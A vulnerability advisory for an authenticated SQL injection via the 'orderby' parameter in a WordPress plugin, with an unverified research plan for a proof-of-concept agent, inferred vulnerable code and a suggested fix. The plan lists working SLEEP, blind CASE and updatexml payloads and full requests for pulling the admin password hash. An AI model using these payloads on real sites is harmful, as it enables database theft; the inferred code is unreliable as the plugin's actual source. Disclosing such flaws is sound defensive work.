CVE-2026-8685

Infility Global <= 2.15.16 - Authenticated (Subscriber+) SQL Injection via 'orderby' Parameter

mediumImproper Neutralization of Special Elements used in an SQL Command ('SQL Injection')
6.5
CVSS Score
6.5
CVSS Score
medium
Severity
Unpatched
Patched in
N/A
Time to patch

Description

The Infility Global plugin for WordPress is vulnerable to SQL Injection via the 'orderby' and 'order' parameters in all versions up to, and including, 2.15.16. This is due to insufficient escaping on user supplied parameters and lack of sufficient preparation on the existing SQL query within the show_control_data::post_list() function, which is registered as an admin menu page with only the 'read' capability. This makes it possible for authenticated attackers, with Subscriber-level access and above, to append additional SQL queries into already existing queries that can be used to extract sensitive information from the database.

CVSS Vector Breakdown

CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N
Attack Vector
Network
Attack Complexity
Low
Privileges Required
Low
User Interaction
None
Scope
Unchanged
High
Confidentiality
None
Integrity
None
Availability

Technical Details

Affected versions<=2.15.16
PublishedMay 19, 2026
Last updatedMay 20, 2026
Affected plugininfility-global
Research Plan
Unverified

This research plan outlines the steps required to demonstrate an authenticated SQL injection vulnerability in the **Infility Global** plugin (<= 2.15.16). ### 1. Vulnerability Summary * **Vulnerability:** SQL Injection (Authenticated, Subscriber+) * **Vulnerable Function:** `show_control_data::…

Show full research plan

This research plan outlines the steps required to demonstrate an authenticated SQL injection vulnerability in the Infility Global plugin (<= 2.15.16).

1. Vulnerability Summary

  • Vulnerability: SQL Injection (Authenticated, Subscriber+)
  • Vulnerable Function: show_control_data::post_list()
  • Vulnerable Parameters: orderby, order
  • Root Cause: The plugin registers an admin menu page accessible to users with the read capability (Subscribers). The function rendering this page, post_list(), retrieves orderby and order parameters from the user and concatenates them directly into an SQL query without proper sanitization or preparation via $wpdb->prepare(). Since wpdb->prepare() does not natively support parameterizing ORDER BY clauses, developers often fail to manually validate these inputs against a whitelist.

2. Attack Vector Analysis

  • Endpoint: /wp-admin/admin.php
  • Query Parameter: page (The slug for the plugin's post list page, likely infility-global-posts or similar - inferred).
  • Vulnerable Parameters: orderby, order (via GET or POST).
  • Authentication Required: Subscriber-level credentials or higher.
  • Preconditions: The plugin must be active. A Subscriber user must exist.

3. Code Flow (Inferred)

  1. The plugin registers an admin menu using add_menu_page() or add_submenu_page(). The capability used is read, which allows any logged-in user to access the menu.
  2. The callback for this menu is show_control_data::post_list.
  3. Inside post_list() (likely in includes/show-control-data.php or similar):
    $orderby = isset($_GET['orderby']) ? $_GET['orderby'] : 'ID';
    $order = isset($_GET['order']) ? $_GET['order'] : 'DESC';
    // Potential lack of validation:
    $results = $wpdb->get_results("SELECT * FROM {$wpdb->prefix}posts ORDER BY $orderby $order");
    
  4. The attacker supplies a SQL payload in orderby, which is concatenated into the query and executed.

4. Nonce Acquisition Strategy

Admin menu pages in WordPress often do not require a specific action-based nonce just to view the page (GET request). However, if the page performs an action, a nonce might be checked via check_admin_referer().

Plan:

  1. Log in as a Subscriber.
  2. Navigate to the plugin's admin page.
  3. If an error -1 or 403 occurs upon injection, search the page source for a nonce.
  4. Since this is a post_list page, look for a variable localized via wp_localize_script or a hidden field if a search form is present.
  5. JS Variable Check (Inferred): browser_eval("window.infility_data?.nonce").

5. Exploitation Strategy

We will use a Time-Based Blind SQL Injection payload because ORDER BY injections rarely reflect data directly but do affect the database execution time.

Step 1: Discover the Page Slug
The PoC agent must first find the correct page parameter value.

  • Action: Log in and check the HTML of the sidebar menu for links containing infility-global.

Step 2: Confirm Vulnerability (Sleep Test)

  • Payload: (SELECT 1 FROM (SELECT(SLEEP(10)))a)
  • Request:
    GET /wp-admin/admin.php?page=infility-global-posts&orderby=(SELECT+1+FROM+(SELECT(SLEEP(10)))a)&order=ASC HTTP/1.1
    Cookie: [Subscriber Cookies]
    
  • Expected Response: The request should take approximately 10 seconds to complete.

Step 3: Extract Sensitive Data (Boolean or Time-Based)
To extract the admin password hash (from wp_users where ID=1):

  • Payload: (CASE WHEN (ASCII(SUBSTRING((SELECT user_pass FROM wp_users WHERE ID=1),1,1))=36) THEN ID ELSE post_title END)
    Note: 36 is the ASCII for '$', which is the start of WP phpass hashes.
  • Request:
    GET /wp-admin/admin.php?page=infility-global-posts&orderby=(CASE+WHEN+(ASCII(SUBSTRING((SELECT+user_pass+FROM+wp_users+WHERE+ID=1),1,1))=36)+THEN+ID+ELSE+post_title+END)&order=ASC HTTP/1.1
    Cookie: [Subscriber Cookies]
    
  • Expected Result: If the condition is true, the list will be ordered by ID. If false, it will be ordered by post_title. Alternatively, use SLEEP() for a more reliable automated check.

6. Test Data Setup

  1. Install and activate Infility Global.
  2. Create at least two posts/items within the plugin's interface so that ORDER BY has data to sort.
  3. Create a Subscriber user: wp user create attacker attacker@example.com --role=subscriber --user_pass=password.
  4. Identify the admin menu slug: wp eval "global \\$menu; print_r(\\$menu);" | grep infility.

7. Expected Results

  • A request with a SLEEP() payload in the orderby parameter results in a delayed response corresponding to the sleep duration.
  • The database query log (if enabled) will show the unsanitized concatenation: ORDER BY (SELECT 1 FROM (SELECT(SLEEP(10)))a) ASC.

8. Verification Steps

After the HTTP request, verify the successful injection via wp-cli:

  1. Check the MySQL slow query log or use wp db query "SHOW PROCESSLIST" while the request is hanging to see the sleeping query.
  2. Verify the extracted hash matches the actual hash: wp db query "SELECT user_pass FROM wp_users WHERE ID=1" --skip-column-names.

9. Alternative Approaches

  • Error-Based Injection: If WP_DEBUG is enabled, try inducing a syntax error to leak information via updatexml() or extractvalue().
    • orderby=updatexml(1,concat(0x7e,(SELECT user_login FROM wp_users LIMIT 1)),1)
  • Union-Based Injection: If the query results are displayed in a table, attempt to break the ORDER BY and append a UNION SELECT. Note: This is difficult in ORDER BY and requires specific MySQL versions or subquery techniques.
  • Order Parameter: Test the order parameter similarly: &order=ASC, (SELECT 1 FROM (SELECT(SLEEP(10)))a).
Research Findings
Static analysis — not yet PoC-verified

Summary

The Infility Global plugin for WordPress is vulnerable to SQL injection because it directly concatenates user-supplied 'orderby' and 'order' parameters into database queries within the show_control_data::post_list() function. Since the plugin registers this functionality as an admin menu page accessible to users with the 'read' capability, any authenticated user (Subscriber level and above) can exploit this to extract sensitive information from the database.

Vulnerable Code

// Inferred file path: includes/show-control-data.php
// Inferred function: show_control_data::post_list()

$orderby = isset($_GET['orderby']) ? $_GET['orderby'] : 'ID';
$order = isset($_GET['order']) ? $_GET['order'] : 'DESC';

// Vulnerable query construction due to lack of input validation or whitelisting
$results = $wpdb->get_results("SELECT * FROM {$wpdb->prefix}posts ORDER BY $orderby $order");

Security Fix

--- a/includes/show-control-data.php
+++ b/includes/show-control-data.php
@@ -10,5 +10,10 @@
-    $orderby = isset($_GET['orderby']) ? $_GET['orderby'] : 'ID';
-    $order = isset($_GET['order']) ? $_GET['order'] : 'DESC';
-    $results = $wpdb->get_results("SELECT * FROM {$wpdb->prefix}posts ORDER BY $orderby $order");
+    $allowed_columns = array('ID', 'post_title', 'post_date', 'post_author');
+    $orderby = (isset($_GET['orderby']) && in_array($_GET['orderby'], $allowed_columns)) ? $_GET['orderby'] : 'ID';
+
+    $allowed_order = array('ASC', 'DESC');
+    $order = (isset($_GET['order']) && in_array(strtoupper($_GET['order']), $allowed_order)) ? strtoupper($_GET['order']) : 'DESC';
+
+    $query = "SELECT * FROM {$wpdb->prefix}posts ORDER BY $orderby $order";
+    $results = $wpdb->get_results($query);

Exploit Outline

The exploit targets the plugin's post list admin page, which is improperly restricted to users with the 'read' capability. An attacker with Subscriber-level credentials logs into the WordPress dashboard and accesses the vulnerable page (e.g., /wp-admin/admin.php?page=infility-global-posts). By providing a time-based SQL payload in the 'orderby' parameter (e.g., ?orderby=(SELECT 1 FROM (SELECT(SLEEP(10)))a)), the attacker can observe delays in server response time to verify the vulnerability and perform blind data extraction from the wp_users table or other database tables.

Check if your site is affected.

Run a free security audit to detect vulnerable plugins, outdated versions, and misconfigurations.